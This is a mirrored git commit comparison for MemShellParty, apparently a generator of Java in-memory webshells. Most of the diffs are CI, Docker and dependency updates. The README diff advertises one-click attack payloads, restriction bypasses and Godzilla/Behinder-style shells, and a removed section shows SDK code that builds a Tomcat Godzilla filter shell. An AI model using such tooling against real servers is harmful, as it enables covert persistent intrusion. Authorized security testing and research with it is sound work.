mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9fb0a3a377 | ||
|
|
ff8f9512d4 | ||
|
|
8bb6857234 | ||
|
|
86e242a4f1 | ||
|
|
507c41b2c0 | ||
|
|
bfad8cb921 | ||
|
|
e21ec53cb6 | ||
|
|
7f669c840e | ||
|
|
e2600fd0ed | ||
|
|
7c0ae4b228 | ||
|
|
862ad44a0a | ||
|
|
a95e820e30 | ||
|
|
f19b1be9d4 | ||
|
|
a267048ed3 | ||
|
|
fab736e175 | ||
|
|
6809132f00 | ||
|
|
404d62c6ef | ||
|
|
416f2d5593 | ||
|
|
fe54b610ed | ||
|
|
0d096395f9 | ||
|
|
845d5a48c9 | ||
|
|
08200e0560 | ||
|
|
1d98c24d16 | ||
|
|
4d04aed4fb | ||
|
|
82fcd8ae42 | ||
|
|
167e3452ec | ||
|
|
009c70d8d6 | ||
|
|
fce2b11128 | ||
|
|
8b3f285002 | ||
|
|
0a9a68ee7f | ||
|
|
f0472d231b | ||
|
|
4061c61c29 | ||
|
|
8664e0d45a | ||
|
|
59dc5ba5fc | ||
|
|
01c939ee18 | ||
|
|
b0800f0a0b |
@@ -0,0 +1,19 @@
|
|||||||
|
.git
|
||||||
|
.gradle
|
||||||
|
.idea
|
||||||
|
.vscode
|
||||||
|
.DS_Store
|
||||||
|
|
||||||
|
**/.DS_Store
|
||||||
|
**/.gradle
|
||||||
|
**/build
|
||||||
|
**/bin
|
||||||
|
|
||||||
|
web/.react-router
|
||||||
|
web/.source
|
||||||
|
web/build
|
||||||
|
web/node_modules
|
||||||
|
|
||||||
|
integration-test
|
||||||
|
tools
|
||||||
|
vul
|
||||||
@@ -9,6 +9,7 @@ on:
|
|||||||
- './github/workflows/memshell-integration-test.yml'
|
- './github/workflows/memshell-integration-test.yml'
|
||||||
- '**/memshell/**'
|
- '**/memshell/**'
|
||||||
- '**/packer/**'
|
- '**/packer/**'
|
||||||
|
- '**/dubbo/**'
|
||||||
|
|
||||||
concurrency:
|
concurrency:
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
@@ -43,13 +44,19 @@ jobs:
|
|||||||
- middleware: "weblogic"
|
- middleware: "weblogic"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "springwebmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
||||||
- middleware: "springwebflux"
|
- middleware: "springwebflux"
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
- middleware: "xxljob"
|
- middleware: "xxljob"
|
||||||
depend_tasks: ""
|
depend_tasks: ""
|
||||||
- middleware: "struct2"
|
- middleware: "struts2"
|
||||||
depend_tasks: ":vul:vul-struct2:war"
|
depend_tasks: ":vul:vul-struts2:war"
|
||||||
|
- middleware: "jenkins"
|
||||||
|
depend_tasks: ""
|
||||||
|
- middleware: "geronimo"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "dubbo"
|
||||||
|
depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath"
|
||||||
runs-on: ubuntu-22.04
|
runs-on: ubuntu-22.04
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
@@ -69,10 +76,15 @@ jobs:
|
|||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
- name: Integration Test with gradle
|
||||||
|
if: matrix.cases.middleware != 'dubbo'
|
||||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
|
- name: Dubbo Integration Test with gradle
|
||||||
|
if: matrix.cases.middleware == 'dubbo'
|
||||||
|
run: ./gradlew :integration-test:dubboContainerTest --info
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
- name: Export Integration Test Summary
|
||||||
uses: mikepenz/action-junit-report@v5
|
uses: mikepenz/action-junit-report@v5
|
||||||
if: success() || failure()
|
if: success() || failure()
|
||||||
with:
|
with:
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
report_paths: '**/build/test-results/*/TEST-*.xml'
|
||||||
|
|||||||
@@ -41,9 +41,9 @@ jobs:
|
|||||||
- middleware: "weblogic"
|
- middleware: "weblogic"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "springwebmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
||||||
- middleware: "struct2"
|
- middleware: "struts2"
|
||||||
depend_tasks: ":vul:vul-struct2:war"
|
depend_tasks: ":vul:vul-struts2:war"
|
||||||
runs-on: ubuntu-22.04
|
runs-on: ubuntu-22.04
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
|
|||||||
+6
-6
@@ -6,9 +6,9 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
|||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
# https://hub.docker.com/r/oven/bun
|
||||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
|
FROM --platform=$BUILDPLATFORM oven/bun:1.3.14 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH=""
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
|
|
||||||
WORKDIR /usr/src/web
|
WORKDIR /usr/src/web
|
||||||
@@ -24,8 +24,8 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
|
|
||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
# https://hub.docker.com/_/eclipse-temurin/tags?name=21.
|
||||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
|
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.11_10-jdk-noble AS backend
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
|
|||||||
|
|
||||||
RUN ./gradlew :boot:bootjar -x test
|
RUN ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.17_10-jre-noble
|
FROM eclipse-temurin:21.0.11_10-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
@@ -56,4 +56,4 @@ ENV INTERNAL_JAVA_OPTS="\
|
|||||||
|
|
||||||
EXPOSE 8080
|
EXPOSE 8080
|
||||||
|
|
||||||
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
|
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
|
||||||
|
|||||||
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
|
|||||||
|
|
||||||
### 使用前必看
|
### 使用前必看
|
||||||
|
|
||||||
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
|
[适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty
|
||||||
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||||
|
|
||||||
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||||
|
|||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
FROM eclipse-temurin:17.0.17_10-jre-noble
|
FROM eclipse-temurin:21.0.11_10-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java")
|
||||||
id("org.springframework.boot") version "3.5.8"
|
id("org.springframework.boot") version "4.1.0"
|
||||||
id("io.spring.dependency-management") version "1.1.7"
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -31,11 +31,8 @@ dependencies {
|
|||||||
exclude(group = "commons-logging", module = "commons-logging")
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
}
|
}
|
||||||
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||||
implementation("org.springframework.boot:spring-boot-starter-web") {
|
implementation("org.springframework.boot:spring-boot-starter-web")
|
||||||
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
|
||||||
}
|
|
||||||
implementation(libs.commons.lang3)
|
implementation(libs.commons.lang3)
|
||||||
implementation("org.springframework.boot:spring-boot-starter-undertow")
|
|
||||||
compileOnly("org.projectlombok:lombok")
|
compileOnly("org.projectlombok:lombok")
|
||||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||||
|
import com.reajason.javaweb.boot.vo.PackerVO;
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
@@ -40,6 +41,21 @@ public class ConfigController {
|
|||||||
.map(Packers::name).toList();
|
.map(Packers::name).toList();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 返回父/子 packer 层级结构,供前端在「父模式 / 子模式」之间选择。
|
||||||
|
* 单独新增端点而非修改 {@link #getPackers()},以避免破坏旧版本前端对返回值的依赖。
|
||||||
|
*/
|
||||||
|
@RequestMapping("/packers/tree")
|
||||||
|
public List<PackerVO> getPackerTree() {
|
||||||
|
return Arrays.stream(Packers.values())
|
||||||
|
.filter(packers -> packers.getParentPacker() == null)
|
||||||
|
.map(packers -> new PackerVO(
|
||||||
|
packers.name(),
|
||||||
|
Packers.getPackersWithParent(packers.getInstance().getClass())
|
||||||
|
.stream().map(Packers::name).toList()))
|
||||||
|
.toList();
|
||||||
|
}
|
||||||
|
|
||||||
@RequestMapping
|
@RequestMapping
|
||||||
public Map<String, Map<?, ?>> config() {
|
public Map<String, Map<?, ?>> config() {
|
||||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||||
|
|||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb.boot.vo;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/6/27
|
||||||
|
*/
|
||||||
|
public record PackerVO(String name, List<String> children) {
|
||||||
|
}
|
||||||
+27
-8
@@ -1,11 +1,12 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.junit.jupiter.api.BeforeEach;
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
import org.springframework.boot.test.web.client.TestRestTemplate;
|
import org.springframework.boot.test.web.server.LocalServerPort;
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.client.RestClient;
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -21,27 +22,45 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
public class ConfigControllerIntegrationTest {
|
public class ConfigControllerIntegrationTest {
|
||||||
|
|
||||||
@Autowired
|
@LocalServerPort
|
||||||
private TestRestTemplate restTemplate;
|
private int port;
|
||||||
|
|
||||||
|
private RestClient restClient;
|
||||||
|
|
||||||
|
@BeforeEach
|
||||||
|
void setUp() {
|
||||||
|
restClient = RestClient.builder()
|
||||||
|
.baseUrl("http://localhost:" + port)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
|
ResponseEntity<Map> response = restClient.get()
|
||||||
|
.uri("/api/config")
|
||||||
|
.retrieve()
|
||||||
|
.toEntity(Map.class);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigServersEndpoint() {
|
public void testConfigServersEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
|
ResponseEntity<Map> response = restClient.get()
|
||||||
|
.uri("/api/config/servers")
|
||||||
|
.retrieve()
|
||||||
|
.toEntity(Map.class);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigPackersEndpoint() {
|
public void testConfigPackersEndpoint() {
|
||||||
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
|
ResponseEntity<List> response = restClient.get()
|
||||||
|
.uri("/api/config/packers")
|
||||||
|
.retrieve()
|
||||||
|
.toEntity(List.class);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+20
-7
@@ -8,12 +8,13 @@ import com.reajason.javaweb.memshell.ShellType;
|
|||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import org.junit.jupiter.api.BeforeEach;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
import org.springframework.boot.test.web.client.TestRestTemplate;
|
import org.springframework.boot.test.web.server.LocalServerPort;
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.client.RestClient;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
@@ -25,8 +26,17 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
class MemShellGeneratorControllerTest {
|
class MemShellGeneratorControllerTest {
|
||||||
|
|
||||||
@Autowired
|
@LocalServerPort
|
||||||
TestRestTemplate restTemplate;
|
private int port;
|
||||||
|
|
||||||
|
private RestClient restClient;
|
||||||
|
|
||||||
|
@BeforeEach
|
||||||
|
void setUp() {
|
||||||
|
restClient = RestClient.builder()
|
||||||
|
.baseUrl("http://localhost:" + port)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
void generateShell() {
|
void generateShell() {
|
||||||
@@ -50,9 +60,12 @@ class MemShellGeneratorControllerTest {
|
|||||||
shellToolConfigDTO.setHeaderName("User-Agent");
|
shellToolConfigDTO.setHeaderName("User-Agent");
|
||||||
shellToolConfigDTO.setHeaderValue("hello");
|
shellToolConfigDTO.setHeaderValue("hello");
|
||||||
request.setShellToolConfig(shellToolConfigDTO);
|
request.setShellToolConfig(shellToolConfigDTO);
|
||||||
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
ResponseEntity<MemShellGenerateResponse> response = restClient.post()
|
||||||
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
.uri("/api/memshell/generate")
|
||||||
|
.body(request)
|
||||||
|
.retrieve()
|
||||||
|
.toEntity(MemShellGenerateResponse.class);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -9,7 +9,7 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.7.0"
|
version = "2.8.0"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
|
|||||||
+34
-332
@@ -1,11 +1,6 @@
|
|||||||
<h1 align="center">MemShellParty</h1>
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
<p align="center">English | <a href="../README.md">中文</a><br></p>
|
<p align="center"><a href="../README.md">中文</a> | English<br></p>
|
||||||
<div align="center">
|
|
||||||
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
|
||||||
</div>
|
|
||||||
|
|
||||||
|
|
||||||
<div align="center">
|
<div align="center">
|
||||||
@@ -17,49 +12,54 @@
|
|||||||
<div align="center">
|
<div align="center">
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.memshell.news)
|
[](https://party.mem.mk)
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
|
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
|
> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together.
|
||||||
|
|
||||||
MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
|
MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency.
|
||||||
|
|
||||||
What you can learn or try from this project:
|
<p align="center">
|
||||||
|
<img src="../assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||||
1. Learn to write java memshell for common middleware and frameworks.
|
<img src="../assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||||
2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
|
<img src="../assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||||
3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
|
<img src="../assets/about_page.png" alt="about_page" width="24%">
|
||||||
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
</p>
|
||||||
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
## Key Features
|
## Key Features
|
||||||
|
|
||||||
- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
|
- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time.
|
||||||
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21.
|
||||||
- Minimal Size: Strives to minimize memshell size for efficient transfer.
|
- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use.
|
||||||
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
|
- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM.
|
||||||
|
- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads.
|
||||||
|
- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs.
|
||||||
|
|
||||||
## Quick Start
|
## Quick Start
|
||||||
|
|
||||||
### Online Preview
|
### Read Before Use
|
||||||
|
|
||||||
> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
|
[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications.
|
||||||
|
|
||||||
Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
|
The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish.
|
||||||
|
|
||||||
|
### Online Site
|
||||||
|
|
||||||
|
> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors.
|
||||||
|
|
||||||
|
You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release.
|
||||||
|
|
||||||
|
For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk).
|
||||||
|
|
||||||
### Local Deployment (Recommended)
|
### Local Deployment (Recommended)
|
||||||
|
|
||||||
> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
|
> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient.
|
||||||
|
|
||||||
After deploying with Docker, access the service at http://127.0.0.1:8080
|
After deploying with Docker, access http://127.0.0.1:8080
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Pull the latest image from Docker Hub
|
# Pull the latest image from Docker Hub
|
||||||
@@ -68,312 +68,14 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
|
|||||||
# Pull the latest image from Github Container Registry
|
# Pull the latest image from Github Container Registry
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
# If network quality is poor, use the Nanjing University Github Container Registry mirror
|
# Poor network quality? Use the Nanjing University Github Container Registry mirror
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
The image is stateless. To update to the latest version, simply remove the old container and create a new one:
|
## Special Thanks
|
||||||
|
|
||||||
```bash
|
|
||||||
# Remove the previously deployed container
|
|
||||||
docker rm -f memshell-party
|
|
||||||
|
|
||||||
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
### SDK Integration into Existing Tools
|
|
||||||
|
|
||||||
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
|
|
||||||
|
|
||||||
1. Add the dependency using Maven or Gradle:
|
|
||||||
|
|
||||||
```xml
|
|
||||||
<!-- Maven Repo-->
|
|
||||||
<dependency>
|
|
||||||
<groupId>io.github.reajason</groupId>
|
|
||||||
<artifactId>generator</artifactId>
|
|
||||||
<version>1.7.0</version>
|
|
||||||
</dependency>
|
|
||||||
```
|
|
||||||
|
|
||||||
```groovy
|
|
||||||
// Gradle Repo
|
|
||||||
implementation 'io.github.reajason:generator:1.7.0'
|
|
||||||
```
|
|
||||||
|
|
||||||
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
|
|
||||||
|
|
||||||
```java
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.FILTER)
|
|
||||||
.shrink(true) // Shrink bytecode size
|
|
||||||
.debug(false) // Disable debug mode
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
